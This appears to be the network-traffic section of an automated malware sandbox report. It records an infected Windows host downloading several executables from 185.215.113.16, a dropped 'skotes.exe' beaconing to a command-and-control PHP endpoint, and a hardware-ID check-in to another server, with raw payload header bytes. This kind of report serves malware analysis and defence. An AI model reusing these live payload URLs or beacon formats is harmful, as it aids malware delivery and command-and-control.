Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.359165907 CEST	1.1.1.1	192.168.2.6	0xcc15	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.359189987 CEST	1.1.1.1	192.168.2.6	0xf49a	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.366405964 CEST	1.1.1.1	192.168.2.6	0x136b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 04:59:07.366405964 CEST	1.1.1.1	192.168.2.6	0x136b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 04:59:07.366405964 CEST	1.1.1.1	192.168.2.6	0x136b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 04:59:07.366405964 CEST	1.1.1.1	192.168.2.6	0x136b	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 24, 2024 04:59:07.366902113 CEST	1.1.1.1	192.168.2.6	0xea43	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 24, 2024 04:59:07.367575884 CEST	1.1.1.1	192.168.2.6	0xfa10	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 24, 2024 04:59:07.374483109 CEST	1.1.1.1	192.168.2.6	0x1641	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:07.374483109 CEST	1.1.1.1	192.168.2.6	0x1641	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.374483109 CEST	1.1.1.1	192.168.2.6	0x1641	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.374483109 CEST	1.1.1.1	192.168.2.6	0x1641	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.374483109 CEST	1.1.1.1	192.168.2.6	0x1641	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.374829054 CEST	1.1.1.1	192.168.2.6	0xc6a9	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.382713079 CEST	1.1.1.1	192.168.2.6	0xc258	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.382713079 CEST	1.1.1.1	192.168.2.6	0xc258	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.382713079 CEST	1.1.1.1	192.168.2.6	0xc258	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.382713079 CEST	1.1.1.1	192.168.2.6	0xc258	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.382750034 CEST	1.1.1.1	192.168.2.6	0xa799	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.406109095 CEST	1.1.1.1	192.168.2.6	0xa9f7	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:28.406109095 CEST	1.1.1.1	192.168.2.6	0xa9f7	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.435628891 CEST	1.1.1.1	192.168.2.6	0xcc4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.435939074 CEST	1.1.1.1	192.168.2.6	0x740d	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:28.458992004 CEST	1.1.1.1	192.168.2.6	0x3bdd	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.533512115 CEST	1.1.1.1	192.168.2.6	0x5a20	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.884769917 CEST	1.1.1.1	192.168.2.6	0x4bee	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:28.884769917 CEST	1.1.1.1	192.168.2.6	0x4bee	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:31.788666010 CEST	1.1.1.1	192.168.2.6	0x64c	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 24, 2024 04:59:31.789313078 CEST	1.1.1.1	192.168.2.6	0x255a	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:31.789313078 CEST	1.1.1.1	192.168.2.6	0x255a	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:31.789313078 CEST	1.1.1.1	192.168.2.6	0x255a	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:31.789313078 CEST	1.1.1.1	192.168.2.6	0x255a	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:31.789313078 CEST	1.1.1.1	192.168.2.6	0x255a	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49774	185.215.113.16	80	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:57:21.732980967 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:57:22.652920008 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:57:22 GMT Content-Type: application/octet-stream Content-Length: 1931264 Last-Modified: Thu, 24 Oct 2024 02:50:35 GMT Connection: keep-alive ETag: "6719b5fb-1d7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L@Wk$LL @.rsrc@.idata @ +@gwmdqjxo`02^@xvafdjqxLR@.taggant0L"V@
Oct 24, 2024 04:57:22.652952909 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:57:22.653012037 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:57:22.653042078 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:57:22.653096914 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:57:22.653126955 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:57:22.653161049 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ZZ(@CaUP)u
Oct 24, 2024 04:57:22.653203011 CEST	212	IN	Data Raw: c5 81 8f 8c 10 e1 82 76 57 c5 80 30 19 14 fb 22 61 51 ea 74 91 70 46 90 4c 20 f2 c5 a8 01 8f b0 28 6d 82 6a 17 c5 80 f0 29 d4 a9 68 e8 61 46 9c 35 c9 2d a7 90 51 1e d1 7b f6 c0 c0 94 c3 5e ac 37 65 0d 63 78 52 91 8b 68 62 e6 48 bc 6d d2 ef 28 62 Data Ascii: vW0"aQtpFL (mj)haF5-Q{^7ecxRhbHm(bU;6JmeE^pQI8Q1O<H_ MmJR"2^buPOcF)tPm!(NHqa[~ I5jqB`LqWi"C^
Oct 24, 2024 04:57:22.653235912 CEST	1236	IN	Data Raw: 37 65 ad 62 98 51 31 fb a6 e1 97 f8 49 61 ba 6b 1a 90 4f 30 11 14 c4 e6 c8 55 36 61 19 ed 6f 61 37 49 8e 25 99 f4 f2 5c 88 d2 c7 61 1c 51 4d ca b8 61 4e d3 fa 55 4e c4 37 c9 2d a5 90 51 24 ca 7b 50 5f 60 10 05 70 d0 d7 c9 ae 84 5b 6e 80 40 38 c3 Data Ascii: 7ebQ1IakO0U6aoa7I%\aQMaNUN7-Q${P_`p[n@8^<2ebRqK6`(cvJOpbQ\|`\|hPtJ!M`c)1OE>XnQXi^LmMJ_pS(vPLhu)Q[aq,`tIh,`mqH:pJ4Un`q
Oct 24, 2024 04:57:22.653271914 CEST	1236	IN	Data Raw: 18 a4 ff c4 7d 56 19 47 fb 51 4d 57 86 49 8d cd 11 59 37 0f 69 78 3d 76 68 45 48 6d 1e 72 87 49 4a 68 be fc 20 83 51 d9 34 c1 92 17 a1 c7 82 83 b2 11 1f 2c 1a 0d 51 09 89 78 5e 71 61 ca 3f a5 ad 17 a1 81 4b 8c bb 82 95 e2 5e 60 be 0f 7b 50 4c 89 Data Ascii: }VGQMWIY7ix=vhEHmrIJh Q4,Qx^qa?K^`{PLBjJa[A6&/IZL@F_yMGn?r4RRa~g:\|'Hg[k^}[tsUxsP,TpX]LX`9 /NUe<]$7\|PKA\|3lI8^NJ
Oct 24, 2024 04:57:22.658756018 CEST	1236	IN	Data Raw: 0a ef e5 74 b6 21 85 78 89 49 91 96 5f 73 83 35 e9 3e 72 d0 ac b6 8d 6e 8f 42 15 cb f8 40 2a 48 7f a9 f1 fb 11 77 4f fd 80 85 af d0 17 29 d9 d7 99 d7 ea 5e c1 3a f1 88 a2 21 c3 61 50 6f 83 45 3a 1c 27 f3 90 f3 06 04 4a ca 8b 2c a3 7a 2e b1 8b 9a Data Ascii: t!xI_s5>rnB@*HwO)^:!aPoE:'J,z.7DkQ+eT-pW?~N-p@D=`&q=0FIGWCpDWyb>CetK1]`NBlJ}"[nHR`aVTB`Bh)Tn`NMHxr<ZlTa
Oct 24, 2024 04:57:44.865232944 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:57:45.148592949 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:57:45 GMT Content-Type: application/octet-stream Content-Length: 1877504 Last-Modified: Thu, 24 Oct 2024 02:50:28 GMT Connection: keep-alive ETag: "6719b5f4-1ca600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$j@jgG@P%d% %(@.rsrc %8@.idata %8@ *%:@uolrxmarP`PD<@whwdztvnj@.taggant0j"@
Oct 24, 2024 04:58:04.946865082 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:58:05.231045008 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:05 GMT Content-Type: application/octet-stream Content-Length: 2742272 Last-Modified: Thu, 24 Oct 2024 01:44:44 GMT Connection: keep-alive ETag: "6719a68c-29d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %Z`Ui` @ @.rsrc`2@.idata 8@vxijesvo)x):@eoamyyhq )@.taggant@@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49993	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:04.918080091 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:58:05.820910931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49994	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:07.337142944 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 04:58:08.253118992 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 31 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 30 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 31 30 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001102001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001103001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001104001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001105001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49995	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:07.764905930 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:58:08.662820101 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:58:08.665848017 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="build"doma------EBFBKKJECAKEHJJJDBAF--
Oct 24, 2024 04:58:08.947195053 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49996	185.215.113.16	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:08.263292074 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 04:58:09.172079086 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:09 GMT Content-Type: application/octet-stream Content-Length: 2930688 Last-Modified: Thu, 24 Oct 2024 02:50:21 GMT Connection: keep-alive ETag: "6719b5ed-2cb800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 40 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 30 00 00 04 00 00 75 d9 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 